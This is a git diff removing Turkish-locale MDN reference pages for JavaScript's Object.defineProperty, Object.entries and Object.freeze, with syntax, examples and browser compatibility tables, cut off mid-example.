-<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Edge</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatChrome("45")}}</td> - <td>{{CompatGeckoDesktop("34")}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatOpera("32")}}</td> - <td>{{CompatSafari("9")}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatChrome("45")}}</td> - <td>{{CompatGeckoMobile("34")}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Daha_Fazlası_İçin">Daha Fazlası İçin</h2> - -<ul> - <li>{{jsxref("Object.defineProperties()")}}</li> - <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/defineproperty/index.html b/files/tr/web/javascript/reference/global_objects/object/defineproperty/index.html deleted file mode 100644 index ae72df74e5..0000000000 --- a/files/tr/web/javascript/reference/global_objects/object/defineproperty/index.html +++ /dev/null @@ -1,391 +0,0 @@ ---- -title: Object.defineProperty() -slug: Web/JavaScript/Reference/Global_Objects/Object/defineProperty -translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperty ---- -<div>{{JSRef}}</div> - -<p>The <code><strong>Object.defineProperty()</strong></code> method defines a new property directly on an object, or modifies an existing property on an object, and returns the object.</p> - -<p id="Syntax">Syntax</p> - -<pre class="syntaxbox"><code>Object.defineProperty(<var>obj</var>, <var>prop</var>, <var>descriptor</var>)</code></pre> - -<h3 id="Parameters">Parameters</h3> - -<dl> - <dt><code>obj</code></dt> - <dd>The object on which to define the property.</dd> - <dt><code>prop</code></dt> - <dd>The name of the property to be defined or modified.</dd> - <dt><code>descriptor</code></dt> - <dd>The descriptor for the property being defined or modified.</dd> -</dl> - -<h2 id="Description">Description</h2> - -<p>This method allows precise addition to or modification of a property on an object. Normal property addition through assignment creates properties which show up during property enumeration ({{jsxref("Statements/for...in", "for...in")}} loop or {{jsxref("Object.keys")}} method), whose values may be changed, and which may be {{jsxref("Operators/delete", "deleted", "", 1)}}. This method allows these extra details to be changed from their defaults. By default, values added using <code>Object.defineProperty()</code> are immutable.</p> - -<p>Property descriptors present in objects come in two main flavors: data descriptors and accessor descriptors. A <em><dfn>data descriptor</dfn></em> is a property that has a value, which may or may not be writable. An <dfn>accessor descriptor</dfn> is a property described by a getter-setter pair of functions. A descriptor must be one of these two flavors; it cannot be both.</p> - -<p>Both data and accessor descriptors are objects. They share the following required keys:</p> - -<dl> - <dt><code>configurable</code></dt> - <dd><code>true</code> if and only if the type of this property descriptor may be changed and if the property may be deleted from the corresponding object.<br> - <strong>Defaults to <code>false</code>.</strong></dd> - <dt><code>enumerable</code></dt> - <dd><code>true</code> if and only if this property shows up during enumeration of the properties on the corresponding object.<br> - <strong>Defaults to <code>false</code>.</strong></dd> -</dl> - -<p>A data descriptor also has the following optional keys:</p> - -<dl> - <dt><code>value</code></dt> - <dd>The value associated with the property. Can be any valid JavaScript value (number, object, function, etc).<br> - <strong>Defaults to {{jsxref("undefined")}}.</strong></dd> - <dt><code>writable</code></dt> - <dd><code>true</code> if and only if the value associated with the property may be changed with an {{jsxref("Operators/Assignment_Operators", "assignment operator", "", 1)}}.<br> - <strong>Defaults to <code>false</code>.</strong></dd> -</dl> - -<p>An accessor descriptor also has the following optional keys:</p> - -<dl> - <dt><code>get</code></dt> - <dd>A function which serves as a getter for the property, or {{jsxref("undefined")}} if there is no getter. The function return will be used as the value of property.<br> - <strong>Defaults to {{jsxref("undefined")}}.</strong></dd> - <dt><code>set</code></dt> - <dd>A function which serves as a setter for the property, or {{jsxref("undefined")}} if there is no setter. The function will receive as only argument the new value being assigned to the property.<br> - <strong>Defaults to {{jsxref("undefined")}}.</strong></dd> -</dl> - -<p>Bear in mind that these options are not necessarily own properties so, if inherited, will be considered too. In order to ensure these defaults are preserved you might freeze the {{jsxref("Object.prototype")}} upfront, specify all options explicitly, or point to {{jsxref("null")}} as {{jsxref("Object.prototype.__proto__", "__proto__")}} property.</p> - -<pre class="brush: js">// using __proto__ -var obj = {}; -Object.defineProperty(obj, 'key', { - __proto__: null, // no inherited properties - value: 'static' // not enumerable - // not configurable - // not writable - // as defaults -}); - -// being explicit -Object.defineProperty(obj, 'key', { - enumerable: false, - configurable: false, - writable: false, - value: 'static' -}); - -// recycling same object -function withValue(value) { - var d = withValue.d || ( - withValue.d = { - enumerable: false, - writable: false, - configurable: false, - value: null - } - ); - d.value = value; - return d; -} -// ... and ... -Object.defineProperty(obj, 'key', withValue('static')); - -// if freeze is available, prevents adding or -// removing the object prototype properties -// (value, get, set, enumerable, writable, configurable) -(Object.freeze || Object)(Object.prototype); -</pre> - -<h2 id="Examples">Examples</h2> - -<p>If you want to see how to use the <code>Object.defineProperty</code> method with a <em>binary-flags-like</em> syntax, see <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">additional examples</a>.</p> - -<h3 id="Creating_a_property">Creating a property</h3> - -<p>When the property specified doesn't exist in the object, <code>Object.defineProperty()</code> creates a new property as described. Fields may be omitted from the descriptor, and default values for those fields are imputed. All of the Boolean-valued fields default to <code>false</code>. The <code>value</code>, <code>get</code>, and <code>set</code> fields default to {{jsxref("undefined")}}. A property which is defined without <code>get</code>/<code>set</code>/<code>value</code>/<code>writable</code> is called “generic” and is “typed” as a data descriptor.</p> - -<pre class="brush: js">var o = {}; // Creates a new object - -// Example of an object property added with defineProperty with a data property descriptor -Object.defineProperty(o, 'a', { - value: 37, - writable: true, - enumerable: true, - configurable: true -}); -// 'a' property exists in the o object and its value is 37 - -// Example of an object property added with defineProperty with an accessor property descriptor -var bValue = 38; -Object.defineProperty(o, 'b', { - get: function() { return bValue; }, - set: function(newValue) { bValue = newValue; }, - enumerable: true, - configurable: true -}); -o.b; // 38 -// 'b' property exists in the o object and its value is 38 -// The value of o.b is now always identical to bValue, unless o.b is redefined - -// You cannot try to mix both: -Object.defineProperty(o, 'conflict', { - value: 0x9f91102, - get: function() { return 0xdeadbeef; } -}); -// throws a TypeError: value appears only in data descriptors, get appears only in accessor descriptors -</pre> - -<h3 id="Modifying_a_property">Modifying a property</h3> - -<p>When the property already exists, <code>Object.defineProperty()</code> attempts to modify the property according to the values in the descriptor and the object's current configuration. If the old descriptor had its <code>configurable</code> attribute set to <code>false</code> (the property is said to be “non-configurable”), then no attribute besides <code>writable</code> can be changed. In that case, it is also not possible to switch back and forth between the data and accessor property types.</p> - -<p>If a property is non-configurable, its <code>writable</code> attribute can only be changed to <code>false</code>.</p> - -<p>A {{jsxref("TypeError")}} is thrown when attempts are made to change non-configurable property attributes (besides the <code>writable</code> attribute) unless the current and new values are the same.</p> - -<h4 id="Writable_attribute">Writable attribute</h4> - -<p>When the <code>writable</code> property attribute is set to <code>false</code>, the property is said to be “non-writable”. It cannot be reassigned.</p> - -<pre class="brush: js">var o = {}; // Creates a new object - -Object.defineProperty(o, 'a', { - value: 37, - writable: false -}); - -console.log(o.a); // logs 37 -o.a = 25; // No error thrown (it would throw in strict mode, even if the value had been the same) -console.log(o.a); // logs 37. The assignment didn't work. -</pre> - -<p>As seen in the example, trying to write into the non-writable property doesn't change it but doesn't throw an error either.</p> - -<h4 id="Enumerable_attribute">Enumerable attribute</h4> - -<p>The <code>enumerable</code> property attribute defines whether the property shows up in a {{jsxref("Statements/for...in", "for...in")}} loop and {{jsxref("Object.keys()")}} or not.</p> - -<pre class="brush: js">var o = {}; -Object.defineProperty(o, 'a', { value: 1, enumerable: true }); -Object.defineProperty(o, 'b', { value: 2, enumerable: false }); -Object.defineProperty(o, 'c', { value: 3 }); // enumerable defaults to false -o.d = 4; // enumerable defaults to true when creating a property by setting it - -for (var i in o) { - console.log(i); -} -// logs 'a' and 'd' (in undefined order) - -Object.keys(o); // ['a', 'd'] - -o.propertyIsEnumerable('a'); // true -o.propertyIsEnumerable('b'); // false -o.propertyIsEnumerable('c'); // false -</pre> - -<h4 id="Configurable_attribute">Configurable attribute</h4> - -<p>The <code>configurable</code> attribute controls at the same time whether the property can be deleted from the object and whether its attributes (other than <code>writable</code>) can be changed.</p> - -<pre class="brush: js">var o = {}; -Object.defineProperty(o, 'a', { - get: function() { return 1; }, - configurable: false -}); - -Object.defineProperty(o, 'a', { configurable: true }); // throws a TypeError -Object.defineProperty(o, 'a', { enumerable: true }); // throws a TypeError -Object.defineProperty(o, 'a', { set: function() {} }); // throws a TypeError (set was undefined previously) -Object.defineProperty(o, 'a', { get: function() { return 1; } }); // throws a TypeError (even though the new get does exactly the same thing) -Object.defineProperty(o, 'a', { value: 12 }); // throws a TypeError - -console.log(o.a); // logs 1 -delete o.a; // Nothing happens -console.log(o.a); // logs 1 -</pre> - -<p>If the <code>configurable</code> attribute of <code>o.a</code> had been <code>true</code>, none of the errors would be thrown and the property would be deleted at the end.</p> - -<h3 id="Adding_properties_and_default_values">Adding properties and default values</h3> - -<p>It's important to consider the way default values of attributes are applied. There is often a difference between simply using dot notation to assign a value and using <code>Object.defineProperty()</code>, as shown in the example below.</p> - -<pre class="brush: js">var o = {}; - -o.a = 1; -// is equivalent to: -Object.defineProperty(o, 'a', { - value: 1, - writable: true, - configurable: true, - enumerable: true -}); - - -// On the other hand, -Object.defineProperty(o, 'a', { value: 1 }); -// is equivalent to: -Object.defineProperty(o, 'a', { - value: 1, - writable: false, - configurable: false, - enumerable: false -}); -</pre> - -<h3 id="Custom_Setters_and_Getters">Custom Setters and Getters</h3> - -<p>Example below shows how to implement a self-archiving object. When <code>temperature</code> property is set, the <code>archive</code> array gets a log entry.</p> - -<pre class="brush: js">function Archiver() { - var temperature = null; - var archive = []; - - Object.defineProperty(this, 'temperature', { - get: function() { - console.log('get!'); - return temperature; - }, - set: function(value) { - temperature = value; - archive.push({ val: temperature }); - } - }); - - this.getArchive = function() { return archive; }; -} - -var arc = new Archiver(); -arc.temperature; // 'get!' -arc.temperature = 11; -arc.temperature = 13; -arc.getArchive(); // [{ val: 11 }, { val: 13 }] -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.2.3.6', 'Object.defineProperty')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.8.5.</td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-object.defineproperty', 'Object.defineProperty')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-object.defineproperty', 'Object.defineProperty')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Firefox (Gecko)</th> - <th>Chrome</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatGeckoDesktop("2")}}</td> - <td>{{CompatChrome("5")}}</td> - <td>{{CompatIE("9")}} [1]</td> - <td>{{CompatOpera("11.60")}}</td> - <td>{{CompatSafari("5.1")}} [2]</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Firefox Mobile (Gecko)</th> - <th>Android</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatGeckoMobile("2")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatIE("9")}}</td> - <td>{{CompatOperaMobile("11.5")}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] In Internet Explorer 8 only on DOM objects and with some non-standard behaviors.</p> - -<p>[2] Also supported in Safari 5, but not on DOM objects.</p> - -<h2 id="Compatibility_notes">Compatibility notes</h2> - -<h3 id="Redefining_the_length_property_of_an_Array_object">Redefining the <code>length</code> property of an <code>Array</code> object</h3> - -<p>It is possible to redefine the {{jsxref("Array.length", "length")}} property of arrays, subject to the usual redefinition restrictions. (The {{jsxref("Array.length", "length")}} property is initially non-configurable, non-enumerable, and writable. Thus on an unaltered array it is possible to change the {{jsxref("Array.length", "length")}} property's value, or to make it non-writable. It is not allowed to change its enumerability or configurability, or if it is non-writable to change its value or writability.) However, not all browsers permit this redefinition.</p> - -<p>Firefox 4 through 22 will throw a {{jsxref("TypeError")}} on any attempt whatsoever (whether permitted or not) to redefine the {{jsxref("Array.length", "length")}} property of an array.</p> - -<p>Versions of Chrome which implement <code>Object.defineProperty()</code> in some circumstances ignore a length value different from the array's current {{jsxref("Array.length", "length")}} property. In some circumstances changing writability seems to silently not work (and not throw an exception). Also, relatedly, some array-mutating methods like {{jsxref("Array.prototype.push")}} don't respect a non-writable length.</p> - -<p>Versions of Safari which implement <code>Object.defineProperty()</code> ignore a <code>length</code> value different from the array's current {{jsxref("Array.length", "length")}} property, and attempts to change writability execute without error but do not actually change the property's writability.</p> - -<p>Only Internet Explorer 9 and later, and Firefox 23 and later, appear to fully and correctly implement redefinition of the {{jsxref("Array.length", "length")}} property of arrays. For now, don't rely on redefining the {{jsxref("Array.length", "length")}} property of an array to either work, or to work in a particular manner. And even when you <em>can</em> rely on it, <a href="http://whereswalden.com/2013/08/05/new-in-firefox-23-the-length-property-of-an-array-can-be-made-non-writable-but-you-shouldnt-do-it/">there's really no good reason to do so</a>.</p> - -<h3 id="Internet_Explorer_8_specific_notes">Internet Explorer 8 specific notes</h3> - -<p>Internet Explorer 8 implemented a <code>Object.defineProperty()</code> method that could <a class="external" href="https://msdn.microsoft.com/en-us/library/dd229916%28VS.85%29.aspx">only be used on DOM objects</a>. A few things need to be noted:</p> - -<ul> - <li>Trying to use <code>Object.defineProperty()</code> on native objects throws an error.</li> - <li>Property attributes must be set to some values. <code>Configurable</code>, <code>enumerable</code> and <code>writable</code> attributes should all be set to <code>true</code> for data descriptor and <code>true</code> for <code>configurable</code>, <code>false</code> for <code>enumerable</code> for accessor descriptor.(?) Any attempt to provide other value(?) will result in an error being thrown.</li> - <li>Reconfiguring a property requires first deleting the property. If the property isn't deleted, it stays as it was before the reconfiguration attempt.</li> -</ul> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li> - <li>{{jsxref("Object.defineProperties()")}}</li> - <li>{{jsxref("Object.propertyIsEnumerable()")}}</li> - <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li> - <li>{{jsxref("Object.prototype.watch()")}}</li> - <li>{{jsxref("Object.prototype.unwatch()")}}</li> - <li>{{jsxref("Operators/get", "get")}}</li> - <li>{{jsxref("Operators/set", "set")}}</li> - <li>{{jsxref("Object.create()")}}</li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">Additional <code>Object.defineProperty</code> examples</a></li> - <li>{{jsxref("Reflect.defineProperty()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/entries/index.html b/files/tr/web/javascript/reference/global_objects/object/entries/index.html deleted file mode 100644 index 456bfd6afa..0000000000 --- a/files/tr/web/javascript/reference/global_objects/object/entries/index.html +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: Object.entries() -slug: Web/JavaScript/Reference/Global_Objects/Object/entries -tags: - - JavaScript - - Metot - - Referans - - nesne -translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries ---- -<div>{{JSRef}}</div> - -<p>The <code><strong>Object.entries()</strong></code> metodu, verilen bir nesnenin sıralanabilir <code>[anahtar, değer]</code> çiftlerini {{jsxref("Statements/for...in", "for...in")}} döngüsünün sunacağı sırayla (for-in döngüsü, farklı olarak nesnenin prototip zincirindeki özelliklerini de sıralar) dizi olarak döner.</p> - -<div>{{EmbedInteractiveExample("pages/js/object-entries.html")}}</div> - - - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox">Object.entries(<var>obj</var>)</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>obj</code></dt> - <dd>Sıralanabilir özellik çiftleri <code>[key, value]</code> dönülecek olan nesne.</dd> -</dl> - -<h3 id="Dönüş_değeri">Dönüş değeri</h3> - -<p>Verilen nesnenin sıralanabilir özellik çiftlerini <code>[key, value]</code> içeren dizi</p> - -<h2 id="Tanım">Tanım</h2> - -<p><code>Object.entries()</code> elemanları <code>object</code> nesnesinin sıralanabilir özellik çiftlerine <code>[key, value]</code> karşılık gelen diziler olan bir dizi döner. Özelliklerin sırası, özellikler üzerinde döngü ile dönülmesi durumunda oluşacak sırayla aynıdır.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="brush: js">const obj = { foo: 'bar', baz: 42 }; -console.log(Object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ] - -// dizi benzeri nesne -const obj = { 0: 'a', 1: 'b', 2: 'c' }; -console.log(Object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ] - -// anahtarları rastgele sıralı olan dizi benzeri nesne -const anObj = { 100: 'a', 2: 'b', 7: 'c' }; -console.log(Object.entries(anObj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ] - -// getFoo, sıralanabilir bir özellik değildir -const myObj = Object.create({}, { getFoo: { value() { return this.foo; } } }); -myObj.foo = 'bar'; -console.log(Object.entries(myObj)); // [ ['foo', 'bar'] ] - -// nesne olmayan parametre nesneye dönüştürülür -console.log(Object.entries('foo')); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ] - -// ilkel tiplerin kendi özellikleri olmadığı için, boş dizi döner -console.log(Object.entries(100)); // [ ] - -// anahtar-değer çiftlerinin üzerinden for-of döngüsü ile geçelim -const obj = { a: 5, b: 7, c: 9 }; -for (const [key, value] of Object.entries(obj)) { - console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" -} - -// Veya, Array ekstra metotlarını kullanarak geçelim -Object.entries(obj).forEach(([key, value]) => { -console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" -}); -</pre> - -<h3 id="Bir_Object'in_bir_Map'e_dönüştürülmesi">Bir <code>Object</code>'in bir <code>Map</code>'e dönüştürülmesi</h3> - -<p>{{jsxref("Map", "new Map()")}} yapıcısı, <code>entries</code> üzerinde ilerlenebilir nesnesini ister. <code>Object.entries</code> ile, {{jsxref("Object")}}'ten {{jsxref("Map")}}'e kolayca dönüşüm yapabilirsiniz:</p> - -<pre class="brush: js">const obj = { foo: 'bar', baz: 42 }; -const map = new Map(Object.entries(obj)); -console.log(map); // Map { foo: "bar", baz: 42 } -</pre> - -<h3 id="Bir_Object'in_üzerinde_ilerlemek">Bir <code>Object</code>'in üzerinde ilerlemek</h3> - -<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Array_destructuring">Array Destructuring</a> kullanarak, nesnelerin üzerinde kolayca ilerleyebilirsiniz.</p> - -<pre class="brush: js">const obj = { foo: 'bar', baz: 42 }; -Object.entries(obj).forEach(([key, value]) => console.log(`${key}: ${value}`)); // "foo: bar", "baz: 42" -</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>Doğal olarak desteklemeyen eski ortamlara <code>Object.entries</code> desteği eklemek için, Object.entries'in gösterme amaçlı gerçeklemesini <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a>'de (IE desteğine ihtiyacınız yoksa), <a href="https://github.com/es-shims/Object.entries">es-shims/Object.entries</a> repertuarındaki polyfill ile, veya aşağıdaki gibi kullanıma hazır basit polyfill kullanabilirsiniz.</p> - -<p>if (!Object.entries) Object.entries = function( obj ){ var ownProps = Object.keys( obj ), i = ownProps.length, resArray = new Array(i); // diziyi önden ayıralım while (i--) resArray[i] = [ownProps[i], obj[ownProps[i]]]; return resArray; };</p> - -<p>Yukardaki polyfill kod parçası için IE < 9 desteğine ihtiyacınız varsa, aynı zamanda Object.keys polyfill desteğine de ihtiyaç duyacaksınız ({{jsxref("Object.keys")}} sayfasındaki gibi)</p> - -<h2 id="Şartnameler">Şartnameler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-object.entries', 'Object.entries')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td>İlk tanım.</td> - </tr> - <tr> - <td>{{SpecName('ES8', '#sec-object.entries', 'Object.entries')}}</td> - <td>{{Spec2('ES8')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Gezgin_uyumluluğu">Gezgin uyumluluğu</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Object.entries")}}</p> -</div> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li> - <li>{{jsxref("Object.keys()")}}</li> - <li>{{jsxref("Object.values()")}}</li> - <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li> - <li>{{jsxref("Object.create()")}}</li> - <li>{{jsxref("Object.getOwnPropertyNames()")}}</li> - <li>{{jsxref("Map.prototype.entries()")}}</li> - <li>{{jsxref("Map.prototype.keys()")}}</li> - <li>{{jsxref("Map.prototype.values()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/freeze/index.html b/files/tr/web/javascript/reference/global_objects/object/freeze/index.html deleted file mode 100644 index 058f34011b..0000000000 --- a/files/tr/web/javascript/reference/global_objects/object/freeze/index.html +++ /dev/null @@ -1,234 +0,0 @@ ---- -title: Object.freeze() -slug: Web/JavaScript/Reference/Global_Objects/Object/freeze -translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze ---- -<div>{{JSRef}}</div> - -<p><code><strong>Object.freeze()</strong></code> metodu bir objeyi <strong>dondurmak</strong> amaçlı kullanılır. Bir obje dondurulduktan sonra artık değiştirilemez, yeni bir property eklenemez, çıkarılamaz veya değiştirilemez. Objenin propertyleri üzerinde herhangi bir düzenleme veya konfigurasyon yapılamaz. Bir obje dondurulduktan sonra sadece property'lerini değil bu objeye bağlı olan prototype da değiştir. <code>freeze()</code> metodu kendisine verilen objeyi dondurulmuş olarak geri döndürür ancak gelen değişkenin yeniden atanması zorunlu değildir. <code>freeze()</code> metoduna gönderdiğiniz obje referans yoluyla geçeceği için tekrardan bir atama işlemi yapmak zorunda değilsiniz. Redux dahil bir çok state yönetim sistemleri bu metodu kullanarak state objesini immutable - değiştirilemez - yapmakta ve bu işleme bağlı olarak store üzerinden gerçekleştirilen işlemleri yenilemektedir. </p> - -<div>{{EmbedInteractiveExample("pages/js/object-freeze.html")}}</div> - - - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox notranslate"><code>Object.freeze(<var>obje</var>)</code></pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>obje</code></dt> - <dd>Dondurmak istediğiniz obje.</dd> -</dl> - -<h3 id="Dönüt">Dönüt</h3> - -<p>Metoda gönderilen obje dondurularak geri döndürülür</p> - -<h2 id="Description">Description</h2> - -<p>Dondurulmuş obje üzerinde hiç bir düzenleme, ekleme ve çıkarma işlemi yapılamaz. Bu amaçla yapılan herhangi bir değişim {{jsxref("TypeError")}} hatası verir (Farklı çevrelerde daha alt seviye hatalar vermesine karşın, {{jsxref("Strict_mode", "strict mode", "", 1)}} etkinleştirildiği durumlarda {{jsxref("TypeError")}} hatası kesin olarak alınır).</p> - -<p>Dondurulmuş bir objeye ait değer değiştirilemez, <code>writeable</code> ve <code>configurable</code> özellikleri <code>false</code> olarka atanır. Accessor properties (getter and setter) work the same (and still give the illusion that you are changing the value). Note that values that are objects can still be modified, unless they are also frozen. As an object, an array can be frozen; after doing so, its elements cannot be altered and no elements can be added to or removed from the array.</p> - -<p><code>freeze()</code> returns the same object that was passed into the function. It <em>does not</em> create a frozen copy.</p> - -<p>In ES5, if the argument to this method is not an object (a primitive), then it will cause a {{jsxref("TypeError")}}. In ES2015, a non-object argument will be treated as if it were a frozen ordinary object, and be simply returned.</p> - -<pre class="brush: js notranslate">> Object.freeze(1) -TypeError: 1 is not an object // ES5 code - -> Object.freeze(1) -1 // ES2015 code -</pre> - -<p>An <a href="/en-US/docs/Web/API/ArrayBufferView" title="ArrayBufferView is a helper type representing any of the following JavaScript TypedArray types:"><code>ArrayBufferView</code></a> with elements will cause a {{jsxref("TypeError")}}, as they are views over memory and will definitely cause other possible issues:</p> - -<pre class="brush: js notranslate">> Object.freeze(new Uint8Array(0)) // No elements -Uint8Array [] - -> Object.freeze(new Uint8Array(1)) // Has elements -TypeError: Cannot freeze array buffer views with elements - -> Object.freeze(new DataView(new ArrayBuffer(32))) // No elements -DataView {} - -> Object.freeze(new Float64Array(new ArrayBuffer(64), 63, 0)) // No elements -Float64Array [] - -> Object.freeze(new Float64Array(new ArrayBuffer(64), 32, 2)) // Has elements -TypeError: Cannot freeze array buffer views with elements -</pre> - -<p>Note that; as the standard three properties (<code>buf.byteLength</code>, <code>buf.byteOffset</code> and <code>buf.buffer</code>) are read-only (as are those of an {{jsxref("ArrayBuffer")}} or {{jsxref("SharedArrayBuffer")}}), there is no reason for attempting to freeze these properties.</p> - -<h3 id="Comparison_to_Object.seal">Comparison to <code>Object.seal()</code></h3> - -<p>Objects sealed with {{jsxref("Object.seal()")}} can have their existing properties changed. Existing properties in objects frozen with <code>Object.freeze()</code> are made immutable.</p> - -<h2 id="Examples">Examples</h2> - -<h3 id="Freezing_objects">Freezing objects</h3> - -<pre class="brush: js notranslate">var obj = { - prop: function() {}, - foo: 'bar' -}; - -// Before freezing: new properties may be added, -// and existing properties may be changed or removed -obj.foo = 'baz'; -obj.lumpy = 'woof'; -delete obj.prop; - -// Freeze. -var o = Object.freeze(obj); - -// The return value is just the same object we passed in. -o === obj; // true - -// The object has become frozen. -Object.isFrozen(obj); // === true - -// Now any changes will fail -obj.foo = 'quux'; // silently does nothing -// silently doesn't add the property -obj.quaxxor = 'the friendly duck'; - -// In strict mode such attempts will throw TypeErrors -function fail(){ - 'use strict'; - obj.foo = 'sparky'; // throws a TypeError - delete obj.foo; // throws a TypeError - delete obj.quaxxor; // returns true since attribute 'quaxxor' was never added - obj.sparky = 'arf'; // throws a TypeError -} - -fail(); - -// Attempted changes through Object.defineProperty; -// both statements below throw a TypeError. -Object.defineProperty(obj, 'ohai', { value: 17 }); -Object.defineProperty(obj, 'foo', { value: 'eit' }); - -// It's also impossible to change the prototype -// both statements below will throw a TypeError. -Object.setPrototypeOf(obj, { x: 20 }) -obj.__proto__ = { x: 20 } -</pre> - -<h3 id="Freezing_arrays">Freezing arrays</h3> - -<pre class="brush: js notranslate">let a = [0]; -Object.freeze(a); // The array cannot be modified now. - -a[0] = 1; // fails silently - -// In strict mode such attempt will throw a TypeError -function fail() { - "use strict" - a[0] = 1; -} - -fail(); - -// Attempted to push -a.push(2); // throws a TypeError</pre> - -<p>The object being frozen is <em>immutable</em>. However, it is not necessarily <em>constant</em>. The following example shows that a frozen object is not constant (freeze is shallow).</p> - -<pre class="brush: js notranslate">obj1 = { - internal: {} -}; - -Object.freeze(obj1); -obj1.internal.a = 'aValue'; - -obj1.internal.a // 'aValue'</pre> - -<p>To be a constant object, the entire reference graph (direct and indirect references to other objects) must reference only immutable frozen objects. The object being frozen is said to be immutable because the entire object <em>state</em> (values and references to other objects) within the whole object is fixed. Note that strings, numbers, and booleans are always immutable and that Functions and Arrays are objects.</p> - -<h4 id="What_is_shallow_freeze">What is "shallow freeze"?</h4> - -<p>The result of calling <code>Object.freeze(<var>object</var>)</code> only applies to the immediate properties of <code>object</code> itself and will prevent future property addition, removal or value re-assignment operations <em>only</em> on <code>object</code>. If the value of those properties are objects themselves, those objects are not frozen and may be the target of property addition, removal or value re-assignment operations.</p> - -<pre class="brush: js notranslate">var employee = { - name: "Mayank", - designation: "Developer", - address: { - street: "Rohini", - city: "Delhi" - } -}; - -Object.freeze(employee); - -employee.name = "Dummy"; // fails silently in non-strict mode -employee.address.city = "Noida"; // attributes of child object can be modified - -console.log(employee.address.city) // Output: "Noida" -</pre> - -<p>To make an object immutable, recursively freeze each property which is of type object (deep freeze). Use the pattern on a case-by-case basis based on your design when you know the object contains no <a href="https://en.wikipedia.org/wiki/Cycle_(graph_theory)" title="cycles">cycles</a> in the reference graph, otherwise an endless loop will be triggered. An enhancement to <code>deepFreeze()</code> would be to have an internal function that receives a path (e.g. an Array) argument so you can suppress calling <code>deepFreeze()</code> recursively when an object is in the process of being made immutable. You still run a risk of freezing an object that shouldn't be frozen, such as [window].</p> - -<pre class="brush: js notranslate">function deepFreeze(object) { - - // Retrieve the property names defined on object - var propNames = Object.getOwnPropertyNames(object); - - // 